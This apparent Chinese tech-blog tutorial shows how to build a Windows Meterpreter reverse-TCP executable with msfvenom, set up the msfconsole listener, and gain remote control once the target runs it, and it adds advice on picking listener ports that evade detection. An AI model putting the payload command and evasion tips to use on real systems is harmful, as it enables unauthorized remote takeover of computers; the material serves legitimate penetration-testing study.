news 2025/12/17 20:07:15

使用metasploit生成payload并进行远程控制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
使用metasploit生成payload并进行远程控制

Metasploit 是一款开源的渗透测试与漏洞利用框架,由 Rapid7 公司维护,是信息安全领域(尤其是渗透测试、漏洞研究)最常用的工具之一。它的核心功能是帮助安全人员合法地模拟黑客攻击,以评估目标系统的安全性,发现并修复潜在漏洞。

生成payload:

例如:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.113.136 lport=5000 -f exe -o /root/payload.exe

其中参数:

Msfvenom:用于生成恶意payload的工具

用到参数-p-f-o

-p, –payload Payload to use;指定哪些有效载荷生成

本例中 windows/meterpreter/reverse_tcp :用于Windows平台的反向远程控制程序

-f, –format Output format;指定有效载荷的格式

本例中 exe 生成Windows系统的可执行文件

-o, –out Save the payload;指定保存位置

本例中 /root/payload.exe

LHOST:是 “Local Host” 的缩写,指控制端(这里是 Kali Linux 主机)的 IP 地址(图中为192.168.113.136)。目标主机运行生成的payload.exe后,会主动向这个 IP 发起连接,从而建立控制会话。

LPORT:是 “Local Port” 的缩写,指控制端监听的端口(图中为5000)。Kali 需在这个端口上启动监听程序,等待目标主机的连接请求。

图示为成功生成了在5000端口运行的payload。

开启metasploit的交互式命令控制台msfconsole进行配置:

配置payload:windows/meterpreter/reverse_tcp

配置lhost:kali ip

配置lport:5000

如图所示为配置好的payload,键入run开启监听。

如图所示为生成的payload,使用文件传输命令将其从http下载到本机Windows

windows开始运行payload.exe后,看到kali命令行中成功连接信息

此时我们就可以通过meterpreter对目标Windows系统进行远程控制了。

关于监听端口的选择:

在渗透测试中选择监听端口(LPORT)需要综合考虑可用性、隐蔽性、目标环境限制等因素,以下是具体原则和建议:

一、监听端口选择的核心原则
  1. 避免常用系统端口

    • 不要选择1-1024范围内的知名端口(如80HTTP、443HTTPS、22SSH 等):这些端口可能被目标防火墙默认放行,但也可能被控制端本地服务占用,或被安全设备标记为 “高风险端口”。
    • 优先选择1024-65535非知名端口(如444455558888等),降低被检测的概率。
  2. 避开目标环境的拦截规则

    • 若已知目标防火墙 / 安全组的策略,选择其放行的端口(例如目标允许80803389等端口的出站流量,则可优先选这些端口)。
    • 避免目标常用的 “黑名单端口”(如部分企业会拦截44445555等渗透测试常用端口)。
  3. 确保控制端本地端口未被占用

    • 选择前可先用
      netstat -tulpn | grep
      端口号检查 Kali 本地是否已占用该端口,避免端口冲突导致监听失败。
二、推荐的常用监听端口

渗透测试常用(相对隐蔽且少被占用):44445555666688889999

仿合法服务端口(增强隐蔽性):8080(仿 HTTP 服务)、8443(仿 HTTPS 服务)、1080(仿代理服务);

随机高端口:直接选择10000-60000之间的随机端口(如2345634567),进一步降低被识别的概率。

三、注意事项

同一控制端同时监听多个 payload 时,需使用不同的 LPORT,避免端口冲突;

若目标有严格的出站端口限制,可尝试使用443(HTTPS)、80(HTTP)等 “通用放行端口”,但需确保控制端本地未占用这些端口。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/14 23:11:35

Windows 7系统完美运行Umi-OCR:终极兼容指南

Windows 7系统完美运行Umi-OCR:终极兼容指南 【免费下载链接】Umi-OCR Umi-OCR: 这是一个免费、开源、可批量处理的离线OCR软件,适用于Windows系统,支持截图OCR、批量OCR、二维码识别等功能。 项目地址: https://gitcode.com/GitHub_Trendi…

作者头像 李华
网站建设 2025/12/14 23:10:59

【MAT1001】托马斯微积分期末复习提纲详解

微积分期末复习提纲详解 一、极限(Limit Review) 1. 定义 设函数 f(x)f(x)f(x) 在点 x0x_0x0​ 的某个去心邻域内有定义,如果存在常数 AAA,对于任意给定的正数 ε\varepsilonε,总存在正数 δ\deltaδ,使得…

作者头像 李华
网站建设 2025/12/14 23:10:51

Switch系统优化终极指南:从零基础到精通大气层系统

Switch系统优化终极指南:从零基础到精通大气层系统 【免费下载链接】Atmosphere-stable 大气层整合包系统稳定版 项目地址: https://gitcode.com/gh_mirrors/at/Atmosphere-stable 想要让你的Switch发挥最大潜能吗?大气层系统作为目前最稳定、功能…

作者头像 李华
网站建设 2025/12/14 23:09:55

JVM G1 和 CMS 详解与对比

G1(Garbage-First)和 CMS(Concurrent Mark Sweep)都是 JVM 中针对老年代的垃圾收集器,旨在解决传统 Serial Old、Parallel Old 收集器的STW(Stop-The-World)时间过长问题,适用于高并…

作者头像 李华
网站建设 2025/12/16 21:41:04

实战解析:2PC与Saga分布式事务的完全避坑指南

实战解析:2PC与Saga分布式事务的完全避坑指南 【免费下载链接】school-of-sre linkedin/school-of-sre: 这是一个用于培训软件可靠性工程师(SRE)的在线课程。适合用于需要学习软件可靠性工程和运维技能的场景。特点:内容丰富&…

作者头像 李华
网站建设 2025/12/14 23:09:44

Lumafly模组管理器:重构空洞骑士模组生态的专业解决方案

Lumafly模组管理器:重构空洞骑士模组生态的专业解决方案 【免费下载链接】Lumafly A cross platform mod manager for Hollow Knight written in Avalonia. 项目地址: https://gitcode.com/gh_mirrors/lu/Lumafly 在《空洞骑士》的模组生态中,玩…

作者头像 李华